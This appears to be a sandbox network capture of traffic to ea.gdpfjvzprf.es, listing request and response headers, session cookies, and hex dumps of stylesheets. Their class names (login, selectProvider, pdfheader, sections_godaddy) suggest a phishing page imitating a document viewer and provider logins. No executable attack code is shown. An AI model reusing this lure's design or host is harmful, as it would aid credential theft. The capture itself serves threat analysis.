2025-03-26 23:32:00 UTC	1150	OUT	GET /kfTJ6QTdDVljK18vstNu7q6r7TjiwgfIl0qyGiNa8NrQZew HTTP/1.1 Host: ea.gdpfjvzprf.es Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImI2SWpLTnYrT0VZTkN4RGIrZ3kydmc9PSIsInZhbHVlIjoiQktvTzg0a3NXRjZxY24ycVZWQnlESjViSkhMTjVJNTlubzRmUlVZV2FzWXV2ZjM0M1hnVVc0azZiYUFMUWsxTmpkdDk4UjEzVHFMdkpBN3NwU1g5SzhZeGUwbHVmSDgzSVZ5RUo5RUpOZkVnRDd5TmtYWW9QemRRVVRyUnFUSWIiLCJtYWMiOiJkZTM1MGVkNGFiYTc5Mjk5MmViZDk4ZmY1MjQ5ZjdiYmRhMzQ3MGJhOTczZjE2M2E2NjQ2YjE1MjYwNWExNzU3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImEvZjZybEN4OU1yU3cwWEQvR2dnWGc9PSIsInZhbHVlIjoiQ1dyQXN6RDI3dzVHYmMvZ3d5MkJwdG0xTndoNXlYTDdHaEhxSTRZTnJIWElLZHpXNjl5NVhnQnhNdTQ1ZEpEV3F3U1ZPeHNqMCtveUErbHAvdENsWjd3RVU3L3V2NGFtQnQ3a25KdldkdXRBS2J0cGVKMXNYYURoc0hvdXJZemEiLCJtYWMiOiI5ODNiOGRkYWQwMjg1YTYxYzQxMjE4N2UyYTYzYmZkZmQ0MGYyM2U0OTNmMjRmNDU5NzQyNTQ5YWYxNzQ4ZDMwIiwidGFnIjoiIn0%3D
2025-03-26 23:32:01 UTC	1040	IN	HTTP/1.1 404 Not Found Date: Wed, 26 Mar 2025 23:32:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CMr5AmAVEiZjyRl%2Fpu%2Fb0rmZYI5UePnO%2BeBYZwUwtiw%2B4%2B24N9A4J66NqTnOyI5aN0MaYnqcDtYAhshfPK59%2BWJrMUN9jQX3JQy1pnHdLbVr26F6si%2FUHj23gTOtsnFSa9hr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1099&min_rtt=1090&rtt_var=324&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2065&delivery_rate=3559859&cwnd=189&unsent_bytes=0&cid=0a2ef94b537b64c1&ts=229&x=0" Server: cloudflare CF-RAY: 926a71e238b4f788-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=83834&min_rtt=83796&rtt_var=17695&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1722&delivery_rate=36467&cwnd=252&unsent_bytes=0&cid=b055fb4952d51e09&ts=540&x=0"
2025-03-26 23:32:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:32:01 UTC	1344	OUT	GET /56u3hKcXny4pxyvrI6718 HTTP/1.1 Host: ea.gdpfjvzprf.es Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHF Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IldjdGlDQTVZTDd5eW9vUU1oYSt1d3c9PSIsInZhbHVlIjoiQjNTem0yOGZMUlBjSy9CZjZuNS9DZDlsRW50RWZPT05GdDYrSEhQYkZneDdzVmdSYm9jRUd4YjV1My9sTTVBdndydzN6VUl2Z1lxb0E3cUVjdDdUNmEySXZKcnphZGRibEFNcEFOSlNVZHhMN1luODhEbXdtUUZlaWdNMmx5SWQiLCJtYWMiOiI2YTYzOTkzZjc5ODA0ZDQ5YTU2MDhiMjAyODA1NDIxMDcyMTU5NDcxZjYzN2JmNzRhNzBiMjMyZGExMzQ5NGJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IllHLzUxZDRrR0RtY0txRXZCY3FQNWc9PSIsInZhbHVlIjoieGF6dUhyZ09JK0N5U3oxc05Uc2Z4OHM3alFSTFZFYU5XazI2aWtXREV5R3BrYjM2MWN6WFVrZUhWc3ZEeS8ybHo2a0tONFFqTEE3akN3aTZFeGlmUnpJY0ZlR3JTNHhZK2t1dExpYjNhbUxZdXVtZHl6UE1BQjNYV3Rnb3F4VDMiLCJtYWMiOiIyYTQyMDIwYTIzNDMwNTlmNGM3OTEwMThjZWRlMGJmYTAxMzRmYjJkOWI1ZGQzOWM4N2YwMjAzOTU0YmRhZTcyIiwidGFnIjoiIn0%3D
2025-03-26 23:32:02 UTC	1087	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 23:32:02 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="56u3hKcXny4pxyvrI6718" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WNXeB54ioNznFsOm78CG2RvDHdxbdMDE9BYZ5pM0vLTkNdcorjsbFeavMZcdTYm3JQ%2B5KiaYg2CJxhXIM2jRInUebSI3jNthIMcBrpNr93ddCWVzfmLbrs%2BQ23QpKRHUT2IA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=27765&min_rtt=27727&rtt_var=7823&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2258&delivery_rate=145708&cwnd=253&unsent_bytes=0&cid=584752a983662749&ts=253&x=0" vary: accept-encoding Server: cloudflare CF-RAY: 926a71e87d5da0fb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=84337&min_rtt=84247&rtt_var=17852&sent=7&recv=9&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1916&delivery_rate=36276&cwnd=252&unsent_bytes=0&cid=bae7369a66b05cb2&ts=1721&x=0"
2025-03-26 23:32:02 UTC	282	IN	Data Raw: 33 37 62 35 0d 0a 23 61 75 74 68 63 61 6c 6c 64 65 73 63 2c 23 73 65 63 74 69 6f 6e 73 2c 2e 74 65 78 74 2d 6d 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 39 33 37 35 72 65 6d 7d 2a 2c 69 6e 70 75 74 5b 74 79 70 65 3d 72 61 64 69 6f 5d 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 61 6c 65 72 74 2c 2e 72 61 64 69 6f 20 6c 61 62 65 6c 2c 2e 72 6f 77 2e 74 69 6c 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 23 73 65 63 74 69 6f 6e 73 2c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 64 64 6f 6e 2c 2e 74 61 62 6c 65 20 2e 74 61 62 6c 65 2d 63 65 6c 6c 2c 69 6d 67 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 68 65 61 64 65 72 20 23 Data Ascii: 37b5#authcalldesc,#sections,.text-m{font-size:.9375rem}*,input[type=radio]{box-sizing:border-box;padding:0}.alert,.radio label,.row.tile{margin-bottom:0}#sections,.input-group-addon,.table .table-cell,img{vertical-align:middle}#sections_doc .pdfheader #
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 68 65 61 64 65 72 20 23 70 61 67 65 4e 61 6d 65 2c 2e 72 6f 77 2e 74 69 6c 65 2c 2e 72 6f 77 2e 74 69 6c 65 3a 6e 6f 74 28 2e 6e 6f 2d 70 69 63 6b 29 3a 61 63 74 69 76 65 2c 2e 72 6f 77 2e 74 69 6c 65 3a 6e 6f 74 28 2e 6e 6f 2d 70 69 63 6b 29 3a 68 6f 76 65 72 2c 69 6e 70 75 74 7b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 2e 70 2c 2e 73 75 62 74 69 74 6c 65 2c 2e 74 65 78 74 2d 62 6f 64 79 2c 2e 74 65 78 74 2d 73 75 62 74 69 74 6c 65 2c 68 34 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2a 2c 2e 74 65 78 74 2d 74 69 74 6c 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 53 65 67 6f 65 20 55 49 22 2c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 22 4c 75 63 69 64 61 20 47 72 61 6e 64 65 22 2c 52 6f 62 6f 74 6f 2c 45 62 72 69 6d 61 2c 22 4e 69 72 6d Data Ascii: header #pageName,.row.tile,.row.tile:not(.no-pick):active,.row.tile:not(.no-pick):hover,input{color:inherit}.p,.subtitle,.text-body,.text-subtitle,h4{font-weight:400}*,.text-title{font-family:"Segoe UI","Helvetica Neue","Lucida Grande",Roboto,Ebrima,"Nirm
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 62 67 31 7b 67 72 69 64 2d 61 72 65 61 3a 62 67 31 3b 68 65 69 67 68 74 3a 35 30 70 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 62 61 63 6b 63 6f 6e 74 61 69 6e 65 72 3e 2e 62 67 32 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 62 61 63 6b 63 6f 6e 74 61 69 6e 65 72 3e 2e 62 67 32 7b 67 72 69 64 2d 61 72 65 61 3a 62 67 32 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 77 69 64 74 68 3a 34 2e 35 33 31 32 35 69 6e 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 62 61 63 6b 63 6f 6e 74 61 69 6e 65 72 3e 2e 62 67 33 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 62 61 63 6b 63 6f 6e 74 61 69 6e 65 72 3e 2e 62 67 33 7b 67 72 69 64 2d 61 72 65 61 3a 62 67 33 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 77 69 64 74 68 3a 39 37 31 Data Ascii: bg1{grid-area:bg1;height:50px}#sections_doc .pdfbackcontainer>.bg2,#sections_pdf .pdfbackcontainer>.bg2{grid-area:bg2;height:auto;width:4.53125in}#sections_doc .pdfbackcontainer>.bg3,#sections_pdf .pdfbackcontainer>.bg3{grid-area:bg3;height:auto;width:971
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2d 2e 39 73 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 34 29 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 39 30 64 65 67 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2d 2e 38 73 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 35 29 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 31 32 30 64 65 67 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2d 2e 37 73 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 36 29 7b 74 72 61 6e 73 66 6f 72 6d 3a Data Ascii: ;animation-delay:-.9s}#sections_pdf .lds-spinner div:nth-child(4){transform:rotate(90deg);animation-delay:-.8s}#sections_pdf .lds-spinner div:nth-child(5){transform:rotate(120deg);animation-delay:-.7s}#sections_pdf .lds-spinner div:nth-child(6){transform:
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 65 61 64 65 72 7b 68 65 69 67 68 74 3a 33 2e 31 32 35 70 63 3b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 74 6f 70 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 39 37 30 31 30 31 3b 7a 2d 69 6e 64 65 78 3a 31 30 30 30 30 30 30 30 30 30 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 68 65 61 64 65 72 20 23 70 64 66 66 61 76 69 63 6f 6e 49 6d 67 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 68 65 61 64 65 72 20 23 70 64 66 66 61 76 69 63 6f 6e 49 6d 67 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 2d 62 Data Ascii: eader{height:3.125pc;position:fixed;top:0;width:100%;color:#fff;display:flex;justify-content:space-between;background-color:#970101;z-index:1000000000}#sections_doc .pdfheader #pdffaviconImg,#sections_pdf .pdfheader #pdffaviconImg{margin-top:auto;margin-b
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 34 34 34 29 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 6c 6f 67 69 6e 20 2e 73 70 61 63 65 6c 6f 67 69 6e 31 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 70 61 63 65 6c 6f 67 69 6e 31 7b 67 72 69 64 2d 61 72 65 61 3a 73 70 61 63 65 6c 6f 67 69 6e 31 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 70 61 63 65 6c 6f 67 69 6e 32 7b 67 72 69 64 2d 61 72 65 61 3a 73 70 61 63 65 6c 6f 67 69 6e 32 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 69 64 65 6c 65 62 6c 65 73 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 Data Ascii: 444)}#sections_doc .login .spacelogin1,#sections_pdf .login .spacelogin1{grid-area:spacelogin1}#sections_pdf .login .spacelogin2{grid-area:spacelogin2}#sections_pdf .login .sidelebles{display:flex;flex-direction:column;justify-content:center;width:100%;he
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 50 72 6f 76 69 64 65 72 20 2e 69 6e 66 6f 73 70 61 6e 3e 2a 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 50 6c 61 79 66 61 69 72 20 44 69 73 70 6c 61 79 27 2c 73 65 72 69 66 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 63 68 6f 73 65 65 6d 61 69 6c 73 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 63 68 6f 73 65 65 6d 61 69 6c 73 7b 77 69 64 74 68 3a 33 36 30 70 78 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 3a 33 30 70 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 Data Ascii: Provider .infospan>*{color:#fff;font-family:'Playfair Display',serif}#sections_doc .login .selectProvider .choseemails,#sections_pdf .login .selectProvider .choseemails{width:360px;height:auto;margin:30px;display:flex}#sections_doc .login .selectProvider
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 73 65 72 76 69 63 65 6c 61 62 65 6c 7b 63 6f 6c 6f 72 3a 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 2e 34 39 38 29 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 50 6c 61 79 66 61 69 72 20 44 69 73 70 6c 61 79 27 2c 73 65 72 69 66 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 64 6f 63 6f 76 65 72 6c 61 79 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 6f 76 65 72 6c 61 79 7b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 Data Ascii: _pdf .login .selectProvider .servicelabel{color:rgba(255,255,255,.498);text-align:center;font-size:13px;font-family:'Playfair Display',serif}#sections_doc .docoverlay,#sections_pdf .pdfoverlay{width:100%;height:100vh;position:fixed;background-color:rgba(0
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 63 73 73 2d 36 30 39 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 61 63 74 69 6f 6e 73 2d 36 34 30 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 77 69 64 74 68 3a 31 30 30 25 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 33 32 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 34 70 78 3b 6d 61 72 67 69 6e 3a 32 35 70 78 20 30 20 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 70 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 61 63 74 69 6f 6e 73 52 69 67 68 74 2d 36 34 32 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 70 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 66 6c 65 78 2d 65 6e Data Ascii: sections_doc .css-609{display:flex}#sections_doc .actions-640{position:relative;width:100%;min-height:32px;line-height:24px;margin:25px 0 0;font-size:0px}#sections_doc .actionsRight-642{align-items:center;display:flex;font-size:0px;justify-content:flex-en
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 61 6d 65 73 20 73 68 6f 77 2d 66 72 6f 6d 2d 6c 65 66 74 7b 66 72 6f 6d 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 2d 32 30 30 70 78 29 3b 6f 70 61 63 69 74 79 3a 30 7d 74 6f 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 30 29 3b 6f 70 61 63 69 74 79 3a 31 7d 7d 23 73 65 63 74 69 6f 6e 73 20 2e 6c 6f 61 64 69 6e 67 2d 63 6f 6e 74 61 69 6e 65 72 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 62 6f 74 74 6f 6d 3a 34 30 70 78 3b 77 69 64 74 68 3a 63 61 6c 63 28 31 30 30 25 20 2b 20 31 31 30 70 78 29 3b 72 69 67 68 74 3a 36 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 23 73 65 Data Ascii: ames show-from-left{from{transform:translateX(-200px);opacity:0}to{transform:translateX(0);opacity:1}}#sections .loading-container{display:flex;align-items:center;width:100%;height:100%;bottom:40px;width:calc(100% + 110px);right:60px;position:relative}#se

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:32:02 UTC	1345	OUT	GET /xyNePnI2CqYMursoYNcd29 HTTP/1.1 Host: ea.gdpfjvzprf.es Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHF Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IldjdGlDQTVZTDd5eW9vUU1oYSt1d3c9PSIsInZhbHVlIjoiQjNTem0yOGZMUlBjSy9CZjZuNS9DZDlsRW50RWZPT05GdDYrSEhQYkZneDdzVmdSYm9jRUd4YjV1My9sTTVBdndydzN6VUl2Z1lxb0E3cUVjdDdUNmEySXZKcnphZGRibEFNcEFOSlNVZHhMN1luODhEbXdtUUZlaWdNMmx5SWQiLCJtYWMiOiI2YTYzOTkzZjc5ODA0ZDQ5YTU2MDhiMjAyODA1NDIxMDcyMTU5NDcxZjYzN2JmNzRhNzBiMjMyZGExMzQ5NGJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IllHLzUxZDRrR0RtY0txRXZCY3FQNWc9PSIsInZhbHVlIjoieGF6dUhyZ09JK0N5U3oxc05Uc2Z4OHM3alFSTFZFYU5XazI2aWtXREV5R3BrYjM2MWN6WFVrZUhWc3ZEeS8ybHo2a0tONFFqTEE3akN3aTZFeGlmUnpJY0ZlR3JTNHhZK2t1dExpYjNhbUxZdXVtZHl6UE1BQjNYV3Rnb3F4VDMiLCJtYWMiOiIyYTQyMDIwYTIzNDMwNTlmNGM3OTEwMThjZWRlMGJmYTAxMzRmYjJkOWI1ZGQzOWM4N2YwMjAzOTU0YmRhZTcyIiwidGFnIjoiIn0%3D
2025-03-26 23:32:02 UTC	1083	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 23:32:02 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="xyNePnI2CqYMursoYNcd29" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PWy1mAkeQxRbthB0pXdk4J6Hxfz3XzEw1k0pP1nP1XMjEMzh4X9MSwDT%2BiKwKMixZVAEksYLWySabls00XjImpS7T67Ox4QbDfmBKvpEvEi93jIQLIiOFEwaf7nkUZfZgfBL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1621&min_rtt=1564&rtt_var=485&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2260&delivery_rate=2559493&cwnd=246&unsent_bytes=0&cid=196e8cb70217986f&ts=240&x=0" vary: accept-encoding Server: cloudflare CF-RAY: 926a71ea2eac4406-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=84924&min_rtt=84690&rtt_var=18243&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1917&delivery_rate=35732&cwnd=252&unsent_bytes=0&cid=6e8aa75630e684e4&ts=576&x=0"
2025-03-26 23:32:02 UTC	286	IN	Data Raw: 33 37 62 34 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 7b 0d 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 67 64 73 68 65 72 70 61 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 7d 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 61 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 32 72 71 61 70 77 2c 23 30 30 30 29 3b 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 37 69 66 35 70 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 37 69 66 35 70 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 Data Ascii: 37b4#sections_godaddy {font-family: gdsherpa !important;}#sections_godaddy a { color: var(--ux-2rqapw,#000); -webkit-text-decoration: var(--ux-1f7if5p,underline); text-decoration: var(--ux-1f7if5p,underline); background-color: transpar
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 6f 6f 74 20 7b 0d 0a 20 20 20 20 66 6c 65 78 3a 20 31 20 31 20 30 25 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 61 3a 68 6f 76 65 72 20 7b 0d 0a 2f 2a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 31 6a 38 37 76 76 6e 2c 23 66 66 66 29 3b 2a 2f 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 74 30 6b 68 6d 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 74 30 6b 68 6d 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 73 76 67 20 7b 0d 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0d 0a Data Ascii: oot { flex: 1 1 0%;}#sections_godaddy a:hover {/* color: var(--ux-1j87vvn,#fff);*/ -webkit-text-decoration: var(--ux-1ft0khm,underline); text-decoration: var(--ux-1ft0khm,underline);}#sections_godaddy svg { overflow: hidden;
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 2e 32 35 72 65 6d 29 20 2a 20 76 61 72 28 2d 2d 75 78 53 70 61 63 65 2d 2d 70 61 64 64 69 6e 67 2d 61 64 6a 75 73 74 6d 65 6e 74 2c 31 29 29 3b 0d 0a 20 20 2d 2d 75 78 53 70 61 63 65 2d 2d 67 61 70 2d 73 69 7a 65 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 7a 64 30 73 65 72 2c 33 29 20 2a 20 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 76 61 72 28 2d 2d 75 78 53 70 61 63 65 2d 2d 67 61 70 2d 61 64 6a 75 73 74 6d 65 6e 74 2c 31 29 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 73 70 61 63 65 2e 75 78 2d 73 70 61 63 65 2d 2d 69 6e 6c 69 6e 65 3a 65 6d 70 74 79 20 7b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 